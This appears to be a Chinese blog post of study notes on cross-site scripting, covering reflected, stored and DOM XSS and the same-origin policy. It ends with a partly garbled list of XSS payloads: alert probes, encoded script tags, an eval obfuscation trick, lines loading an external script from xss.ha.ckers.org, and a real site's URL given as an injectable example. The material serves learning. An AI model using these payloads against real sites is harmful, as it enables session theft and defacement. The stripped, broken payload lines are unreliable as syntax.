XSS注入(跨站脚本攻击)

今天学习一下xss注入

1.XSS是什么

XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所以将跨站脚本攻击缩写为XSS。xss本质上是黑客通过对网页的HTML注入,篡改了原本服务器发给客户端的数据包,在其中插入了恶意的Script代码插入到网页中,当正常用户浏览该页面时,被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。

2.XSS分类

1.反射性XSS

反射型xss的意思是说,攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。所以黑客往往需要诱使用户“点击”恶意链接才能攻击成功。因此反射型xss也被称之为非持久性xss。

2.存储型XSS

存储型xss是指像留言板、用户名称等一些会存储在服务器端的信息,当攻击者在存在xss漏洞的留言板处进行注入之后,任何浏览器端加载该信息的时候都会将其中的恶意代码解析,进而触发xss攻击。该方法甚至可以在管理员审核留言时触发,进而造成管理员敏感信息的泄露。因为其存储在服务器端,因此造成的危险程度、攻击范围比反射型更大更广。

3.DOM型XSS

DOM型xss是基于html的dom文档来说的,攻击者通过注入JavaScript的脚本,利用相应的函数修改网页的DOM结构,进而修改网页的某些信息,本质上也是一种反射性xss,后来便单独分成了一类。

简单的了解这些之后来看看什么是跨域 什么是同源策略

1.同源策略

同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说是web构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。

同源策略是一个重要的安全策略,它用于限制一个origin的文档或它加载的脚本如何能与另一个源的资源进行交互。能够减少恶意文档,减少可能被攻击媒介。 如果两个URL的协议、域名、端口号都相同,就称这两个URL同源。

看看一个域名地址的组成:

XSS注入(跨站脚本攻击)_第1张图片

浏览器默认两个不同的源之间是可以互相访问资源和操作DOM的。两个不同的源之间若是想要访问资源或者操作DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。它的存在可以保护用户隐私信息,防止身份伪造。

 Origin

Web内容的源用于访问它的URL的协议(方案)、主机(域名)、和端口号。只有当协议、主机、域名都匹配时,两个对象才具有相同的起源,即Origin相同。

(如果把html看做是一个文档,那么端口号是其存放位置的根目录,主机是其上级目录,协议是其上上级目录,同源策略就可以理解为同一根目录下的文件才可以访问、操作)

XSS注入(跨站脚本攻击)_第2张图片 

同源策略限制内容有:

Cookie、LocalStorage、IndexedDB 等存储性内容
DOM 节点
AJAX 请求发送后,结果被浏览器拦截了

但是有三个标签是允许跨域加载资源:

, JS脚本顺利执行。当攻击者找到这种方法后,就可以传播这种链接格式的链接 (http://go.ent.163.com/goproducttest/test.jsp?key=JSCODE)如:http: //go.ent.163.com/goproducttest/test.jsp?key= //经典语句,哈哈!
    >"'>
    >"'>
   


   
    "+alert('XSS')+"
    '>
    ='>
   
   
    alert('XSS')
   
    %0a%0a.jsp
    %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
   
    a.jsp/
    ">
   
   
   
   
   
   
   
    "";'>out
   
   
   
   
   
   
   
   

   
   
   
   
   
   
   
   

   

   

   
   
    alert('XSS');
    .XSS{background-image:url("javascript.:alert('XSS')");}
    BODY{background:url("javascript.:alert('XSS')")}
   
    getURL("javascript.:alert('XSS')")
    a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
   
    "> <"
   
       
    "SRC="http://xss.ha.ckers.org/a.js">
   
    '"SRC="http://xss.ha.ckers.org/a.js">
    PTSRC="http://xss.ha.ckers.org/a.js">
    link

常见标签

标签

利用方式1

    imgSTYLE=“background-image:url(javascript:alert(‘XSS’))”

XSS利用方式2

XSS利用方式3

标签

标准格式

baidu

XSS利用方式1

    aa

    aa

    aa

XSS利用方式2

   

利用方式3

aa

利用方式4

aa

input标签

标准格式

利用方式1

利用方式2

利用方式4

标签

XSS利用方式1

   

   

XSS利用方式2

   

   

   

XSS利用方式3

    alert('xss')">

   

alert('xss')">

svg<>标签

这里只简单给出payload以及标签 粗略的了解xss漏洞

接下来会详细的写xss的三种类型

你可能感兴趣的:(xss,html,前端)